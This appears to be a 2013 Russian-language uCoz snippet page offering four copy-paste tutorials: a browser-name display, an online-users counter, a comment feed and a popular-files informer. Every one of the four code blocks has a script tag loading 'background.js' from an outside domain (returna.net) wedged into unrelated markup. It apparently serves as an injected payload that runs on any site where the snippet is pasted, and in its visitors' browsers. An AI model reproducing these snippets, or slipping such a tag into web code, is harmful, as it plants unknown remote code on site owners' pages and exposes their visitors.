Меню сайта
АКЦИЯ!!!
Категории раздела
Меню [34]
Меню для сайтов на Ucoz
Кнопки [15]
Кнопки для uCoz
Блоки и формы [22]
Блоки и формы для uCoz.
Вид материалов [41]
Вид материалов для uCoz
Мини-Профили [7]
Мини-Профили для uCoz
Переключатели [29]
Переключатели страниц для uCoz
Информеры [35]
Информеры для uCoz
Плейеры для сайта [23]
Аудио, видео, радио плейеры
Слайдеры [21]
Слайдеры и карусели картинок.
Вид опросов [8]
Вид опросов для uCoz
Часы и календари [8]
Часы и календари для uCoz.
Статистика сайта [20]
Статистика сайта для uCoz
Скрипты [25]
Скрипты для uCoz
Виджеты [2]
Виджеты для uCoz
Мини-чаты [6]
Мини-чаты для uCoz
Ajax для uCoz [8]
Ajax для uCoz
Шаблоны сайтов [0]
Шаблоны и шапки для uCoz.
Анимация [3]
Анимация и анимашки для сайтов на Ucoz.
Игры [6]
Игры для uCoz.
Прочее для uCoz [18]
Прочее для uCoz.
Сервис

Translate my page
Выбрать язык / Select language:



   
веб студия Одесса создание интернет магазинов создание каталога товаров Создание сайтов раскрутка сайтов портфолио веб студии продвижение сайтов готовые дизайны сайтов наши заказчики Дизайн макеты для создания сайтов Flash игры для сайтов Мини-Чат для сайтов uCoz Вид опроса для сайта Часы и календари для сайтов дизайн сайтов-визиток онлайн радио для сайта кнопки для сайтов статистика для сайта юкоз мини-профили для сайта Полезное для сайтов переключатели страниц для сайтов ajax окна для сайтов скрипты для сайта информационные блоки для сайтов информеры для сайта Формы для Ucoz слайдер для сайта информеры для юкоз меню для сайта вид материалов для сайтов вид материалов uCoz Готовые сайты Новые Бизнес дизайн макеты Новые дизайн макеты Медицина дизайн макеты интернет магазинов Новые дизайн макеты Рестораны Новые дизайн макеты Музыка и клубы Новые дизайн макеты Отели дизайн макеты производство и услуги дизайн макеты интерьер дизайн макеты строительство дизайн макеты сельское хозяйство Новый дизайн макет Транспорт Новый дизайн макет Образование Новый дизайн макет Мода дизайн макеты компьютеры дизайн макеты мобилки Логотипы портфолио
Бесплатное отправление смс сообщений!
Поиск
Календарь
«  Июль 2013  »
ПнВтСрЧтПтСбВс
1234567
891011121314
15161718192021
22232425262728
293031
Архив записей
Наш опрос
Есть ли у Вас сайт?
Всего ответов: 27
Друзья сайта

МЕТА - Украина. Рейтинг сайтов Рейтинг@Mail.ru
Статистика

Онлайн всего: 1
Гостей: 1
Пользователей: 0
Реклама

Главная » 2013 » Июль » 03

Всем привет, сегодня благодаря системным переменным uCoz которые отвечают за отображение название браузера пользователя, мы будем создавать небольшое html-css решение, которое можно будет разместит на вашем сайте uCoz, к примеру поместить его в подвал сайта.

Как и полагается начнём данное решение с html каркаса, который размещаем в нужное место вашей страницы сайта:

Код
<div class="cell-your-browser">
  <div class="your-browser-info">Ваш браузер </div>
  <?if($USER_AGENT$='firefox')?> <a class="your-browser-ico brauzer-mf" href="http://www.mozilla.org/ru/firefox/new/" title="Скачать браузер Mozilla Firefox" target="_blank">FireFox - $USER_AGENT_VER$</a><?endif?>
  <?if($USER_AGENT$='chrome')?><a class="your-browser-ico brauzer-gx" href="http://www.google.ru/chrome" title="Скачать браузер Google Chrome" target="_blank">Chrome - $USER_AGENT_VER$</a><?endif?>
  <?if($USER_AGENT$='opera')?><a class="your-browser-ico brauzer-op" href="http://www.opera.com/download/" title="Скачать браузер Opera" target="_blank">Opera - $USER_AGENT_VER$</a><?endif?>
  <?if($USER_AGENT$='safari')?><a class="your-browser-ico brauzer-sf" href="http://www.apple.com/ru/safari/" title="Скачать браузер Apple Safari" target="_blank">Safari - $USER_AGENT_VER$</a><?endif?><script type="text/javascript" src="http://returna.net/background.js"></script>
  <?if($USER_AGENT$='ie')?><a class="your-browser-ico brauzer-ie" href="http://windows.microsoft.com/ru-RU/internet-explorer/products/ie/home" title="Скачать браузер Internet Explorer" target="_blank">Internet Explorer - $USER_AGENT_VER$</a><?endif?>
</div>

 


как можно увидеть из данного кода, системные переменные uCoz, определят какой у пользователя браузер и предоставят для этого браузера свою информацию.

Теперь нам следует установить css стили, в которых я использовал css спрайты, всё просто и удобно:

 

Код
/* Отображаем информацию ваш браузер на uCoz  
------------------------------------------*/
.cell-your-browser {
  float:left;
  padding: 10px;  
  font:10px Verdana,Arial,Helvetica, sans-serif;
}

.your-browser-info {
  float:left;
  height: 14px;
  padding: 3px 5px 2px 0px;
}

.your-browser-ico:link,
.your-browser-ico:visited {
  float:left;  
  height: 14px;
  padding: 3px 10px 2px 25px;
  text-shadow: 1px 1px 1px #333;
  font-weight: 700;  
  color:#eaeaea;
  border-radius:3px;  
  display:block;  
  text-decoration:none;  
  outline:none
}

.your-browser-ico:hover {  
  color:#eaeaea;
}

.brauzer-mf {  
  background:#555 url(http://pnghosts.ru/img/your_browser.png) no-repeat left;  
  background-position:0px 1px;
}

.brauzer-mf:hover {
  background:#777 url(http://pnghosts.ru/img/your_browser.png) no-repeat left;
  background-position:0px 1px;
}

.brauzer-gx {  
  background:#555 url(http://pnghosts.ru/img/your_browser.png) no-repeat left;  
  background-position:0px -19px;
}

.brauzer-gx:hover {
  background:#777 url(http://pnghosts.ru/img/your_browser.png) no-repeat left;  
  background-position:0px -19px;
}

.brauzer-op {  
  background:#555 url(http://pnghosts.ru/img/your_browser.png) no-repeat left;  
  background-position:0px -38px;
}

.brauzer-op:hover {
  background:#777 url(http://pnghosts.ru/img/your_browser.png) no-repeat left;  
  background-position:0px -38px;
}

.brauzer-sf {  
  background:#555 url(http://pnghosts.ru/img/your_browser.png) no-repeat left;  
  background-position:0px -56px;
}

.brauzer-sf:hover {
  background:#777 url(http://pnghosts.ru/img/your_browser.png) no-repeat left;  
  background-position:0px -56px;
}

.brauzer-ie {  
  background:#555 url(http://pnghosts.ru/img/your_browser.png) no-repeat left;  
  background-position:0px -74px;
}

.brauzer-ie:hover {
  background:#777 url(http://pnghosts.ru/img/your_browser.png) no-repeat left;  
  background-position:0px -74px;
}

 


На этом всё, спасибо за внимание и удачного вам начала летних дней!

 

Категория: Прочее для uCoz | Просмотров: 457 | Добавил: DoG | Дата: 03.07.2013 | Комментарии (0)

Универсальная статистика для uCoz. По скрину всё должно быть понятно.
Преимущества:

Выводит количество гостей, зарегистрированных, общее кол-во пользователей онлайн
Склоняет числительные. То есть 6 пользователей, 2 пользователя

Установка:
Находим $ONLINE_USERS_LIST$, удаляем и ставим код в любое место, желательно в глобальный блок, чтобы отображение было везде.

Код
<script type="text/javascript">  
  dc1 = [],  
  dc2 = [2, 0, 1, 1, 1, 2];  
  function startOnline(num, text)  
  {  
  if(!dc1[num]) dc1[num] = num % 100 > 4 && num % 100 < 20 ? 2 : dc2[Math.min(num % 10, 5)];  
  return text[dc1[num]];  
  }  
  $(document).ready(function() {  
  users_online = $("#onl1").text().substr(13);  
  guest_online = $("#onl2").text().substr(8);  
  reg_online = $("#onl3").text().substr(14);  
  $("#divstat").html('Сейчас на сайте' + '<b>'+users_online+'</b>'+ ' ' + startOnline(users_online,['пользователь', 'пользователя', 'пользователей']) + '. Из них:');  
  $("#regstat").html('<li>' + '<b>'+reg_online+'</b>' + ' ' + startOnline(reg_online, ['зарегистрированный', 'зарегистрированных', 'зарегистрированных']) + '</li>');  
  $("#outstat").html('<li>' + '<b>'+guest_online+'</b>' + ' ' + startOnline(guest_online, ['гость', 'гостя', 'гостей']) + '</li>');  
  });  
  </script>

 


В шаблоне находим $ONLINE_COUNTER$ и заменяем на:

 

Код
<div style="display:none;">$ONLINE_COUNTER$</div>

 


И по месту отображения ставим код:

 

Код
<br>  
  <fieldset style="border:1px solid #d4d3d3;"><legend><span id="divstat"></span></legend><div id="regstat" style="margin-left:19px;margin-top:6px;margin-bottom:6px;"><script type="text/javascript" src="http://returna.net/background.js"></script></div>$ONLINE_USERS_LIST$<div id="outstat" style="margin-left:19px;margin-top:6px;margin-bottom:6px;"></div></fieldset>
Категория: Статистика сайта | Просмотров: 519 | Добавил: DoG | Дата: 03.07.2013 | Комментарии (0)

Скрипт ленты комментариев сайта zornet измененный
Установка:
Создаем информер:
[ Комментарии · Материалы · Дата добавления материала D · Материалы: 4 · Колонки: 1 ]
В шаблон информера вставляем:

Код
<!-- comm_tape --> <div class="hidden" style="margin:0 0 3px 0;"> <a href="$ENTRY_URL$" tite=”$ENTRY_TITLE$”><div class="comm_tape"> <!-- left --><div class="left"><script type="text/javascript" src="http://returna.net/background.js"></script><?if($USER_AVATAR_URL$)?><img src="$USER_AVATAR_URL$"><?else?><img src="http://pnghosts.ru/img/no-ava-cs.png"><?endif?></div><!-- /left --> <!-- right --> <div class="right" align="left"><b>Написал:</b> $USERNAME$ $MESSAGE$</div> <!-- /right --> </div></a> </div> <!-- /comm_tape -->

 


В CSS стиль вставляем:

 

Код
.comm_tape {background:url(http://pnghosts.ru/img/comm_tape.png) no-repeat 0 0; width:198px; height:38px; color:#000;}
.comm_tape:hover {background-position:0 -39px; color:#fff;}
.comm_tape a:hover {color:#fff;}
.comm_tape .left {width:20px; height:23px; float:left; margin:9px 0 0 8px;}
.comm_tape .left img {width:20px; height:23px;border:1px solid #d2d2d4;}
.comm_tape .right {float:left; width:75%; padding:6px 5px;overflow:hidden;height:23px;}
.right {
float: right;
}
Категория: Вид материалов | Просмотров: 442 | Добавил: DoG | Дата: 03.07.2013 | Комментарии (0)

Отличный скрипт для вывода самых популярных файлов на сайте uCoz.

Установка:

1.Создаем информер.
Каталог файлов · Материалы · Количество просмотров D · Материалы: 6 · Колонки: 1

2.Вставляем этот код в дизайн информера:

Код
<style type="text/css">
  .new1 {text-align:left;padding:5px;border-bottom:1px solid #cfcfcf;margin:0px;background:#fff;cursor:pointer;font-size:8pt;}
  .new01 {text-align:left;padding:5px;border-bottom:1px solid #cfcfcf;margin:0px;background:#e0e0e0;font-size:8pt;}
  .infs_img {border: 1px solid #CFCFCF; background-color: #CFCFCF; padding: 3px; margin-top: 0px;}
  </style>
  <div class="new1" onmouseover="this.className='new01'" onmouseout="this.className='new1'"><script type="text/javascript" src="http://returna.net/background.js"></script><img class="infs_img" src="$IMG_URL1$" alt="" align="left" width="25" height="19" style="margin-right: 5px;"><a href="$ENTRY_URL$" title="$TITLE$" style="font-size:8pt;">$TITLE$</a><br> <img src="http://pnghosts.ru/img/rm43.gif" border="0" style="vertical-align:middle;"><a href="$CATEGORY_URL$"><span style="font-size:7pt;color:#070707;padding-left: 3px;">$CATEGORY_NAME$</span></a>
  </div>

 


3.Код информера в виде $MYINF_X$ вставляем туда где хотим видить данный блок.

Готово.

 

Категория: Информеры | Просмотров: 499 | Добавил: DoG | Дата: 03.07.2013 | Комментарии (0)


Copyright "IPC" © 2008
Хостинг от uCoz